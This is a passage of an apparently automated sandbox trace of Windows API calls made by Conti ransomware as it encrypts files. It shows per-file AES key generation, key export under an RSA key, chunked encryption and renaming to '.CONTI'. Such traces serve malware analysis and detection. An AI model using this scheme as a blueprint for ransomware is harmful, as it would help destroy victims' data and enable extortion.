	[0116.613] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=111258476) returned 1
	[0116.613] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6a1ab6c
	[0116.613] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.613] SetEndOfFile (hFile=0x37c) returned 1
	[0116.613] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.613] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.613] WriteFile (in: hFile=0x37c, lpBuffer=0x6b4e734*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e734*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0116.616] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.616] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0120.116] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0120.122] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.122] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0123.345] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0124.146] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0124.151] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.151] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0126.746] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0127.664] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0127.670] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.681] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0129.974] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0131.819] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0131.825] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.825] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0132.819] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0135.172] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0135.178] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.178] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0136.075] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0137.716] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0137.725] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1900000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.726] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0139.899] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0142.658] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0144.335] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1e00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.335] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0147.073] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x500000, lpOverlapped=0x0) returned 1
	[0149.395] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x500000) returned 1
	[0149.402] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x2300000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.403] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x500000, lpOverlapped=0x0) returned 1
	[0151.290] ReadFile (hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0) 

Thread:
	id = 170
	os_tid = 0x12a0

	[0093.106] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xf8b0000
	[0093.107] CryptAcquireContextA (in: phProv=0x537fc64, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x537fc64*=0x176c3d0) returned 1
	[0093.109] CryptImportKey (in: hProv=0x176c3d0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x537fc60 | out: phKey=0x537fc60*=0x175e0b0) returned 1
	[0093.109] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.393] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17c0a20 | out: phKey=0x17c0a20*=0x175e4b0) returned 1
	[0093.393] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c0a24, pdwDataLen=0x537fc2c | out: pbData=0x17c0a24*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.395] GetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker")) returned 0x22
	[0093.396] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.396] GetLastError () returned 0x0
	[0093.396] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=0) returned 1
	[0093.396] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.396] CloseHandle (hObject=0x338) returned 1
	[0093.396] GetProcessHeap () returned 0x1720000
	[0093.396] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173cfb8 | out: hHeap=0x1720000) returned 1
	[0093.396] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.408] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x175e730) returned 1
	[0093.408] CryptExportKey (in: hKey=0x175e730, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x537fc2c | out: pbData=0x17c5c6c*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.410] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0093.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.411] GetLastError () returned 0x0
	[0093.411] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=3188) returned 1
	[0093.411] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc74
	[0093.411] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.412] SetEndOfFile (hFile=0x334) returned 1
	[0093.412] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.412] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.412] WriteFile (in: hFile=0x334, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.419] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.419] ReadFile (in: hFile=0x334, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0xc74, lpOverlapped=0x0) returned 1
	[0093.419] CryptEncrypt (in: hKey=0x175e730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xc74, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xc80) returned 1
	[0093.419] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.419] WriteFile (in: hFile=0x334, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0xc80, lpOverlapped=0x0) returned 1
	[0093.419] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.419] WriteFile (in: hFile=0x334, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x537fc30, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x537fc30*=0x8, lpOverlapped=0x0) returned 1
	[0093.419] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.419] CloseHandle (hObject=0x334) returned 1
	[0093.420] GetProcessHeap () returned 0x1720000
	[0093.420] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.420] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1033\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf"
	[0093.420] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1033\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf.CONTI"
	[0093.420] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.conti")) returned 1
	[0093.425] GetProcessHeap () returned 0x1720000
	[0093.425] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.425] CryptDestroyKey (hKey=0x175e730) returned 1
	[0093.425] GetProcessHeap () returned 0x1720000
	[0093.425] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d1e8 | out: hHeap=0x1720000) returned 1
	[0093.425] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.433] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x175e430) returned 1
	[0093.433] CryptExportKey (in: hKey=0x175e430, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x537fc2c | out: pbData=0x17c4c74*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.434] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0093.440] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.440] GetLastError () returned 0x0
	[0093.440] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=3526) returned 1
	[0093.440] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdc6
	[0093.440] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.440] SetEndOfFile (hFile=0x338) returned 1
	[0093.440] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.440] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.440] WriteFile (in: hFile=0x338, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.450] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.450] ReadFile (in: hFile=0x338, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0xdc6, lpOverlapped=0x0) returned 1
	[0093.450] CryptEncrypt (in: hKey=0x175e430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xdc6, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xdd0) returned 1
	[0093.450] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.450] WriteFile (in: hFile=0x338, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0xdd0, lpOverlapped=0x0) returned 1
	[0093.450] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.450] WriteFile (in: hFile=0x338, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x537fc30, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x537fc30*=0x8, lpOverlapped=0x0) returned 1
	[0093.450] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.450] CloseHandle (hObject=0x338) returned 1
	[0093.451] GetProcessHeap () returned 0x1720000
	[0093.451] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.451] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1036\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf"
	[0093.451] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1036\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf.CONTI"
	[0093.451] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.conti")) returned 1
	[0093.452] GetProcessHeap () returned 0x1720000
	[0093.452] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.452] CryptDestroyKey (hKey=0x175e430) returned 1
	[0093.452] GetProcessHeap () returned 0x1720000
	[0093.452] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5a8 | out: hHeap=0x1720000) returned 1
	[0093.452] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.461] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x175e3b0) returned 1
	[0093.461] CryptExportKey (in: hKey=0x175e3b0, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x537fc2c | out: pbData=0x17c47e4*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0093.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.463] GetLastError () returned 0x0
	[0093.463] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=80060) returned 1
	[0093.463] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x138bc
	[0093.463] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.463] SetEndOfFile (hFile=0x334) returned 1
	[0093.465] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.465] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.465] WriteFile (in: hFile=0x334, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.469] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.469] ReadFile (in: hFile=0x334, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x138bc, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x138bc, lpOverlapped=0x0) returned 1
	[0093.478] CryptEncrypt (in: hKey=0x175e3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x138bc, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x138c0) returned 1
	[0093.478] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.478] WriteFile (in: hFile=0x334, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x138c0, lpOverlapped=0x0) returned 1
	[0093.478] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.478] WriteFile (in: hFile=0x334, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x537fc30, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x537fc30*=0x8, lpOverlapped=0x0) returned 1
	[0093.478] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.478] CloseHandle (hObject=0x334) returned 1
	[0093.480] GetProcessHeap () returned 0x1720000
	[0093.480] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
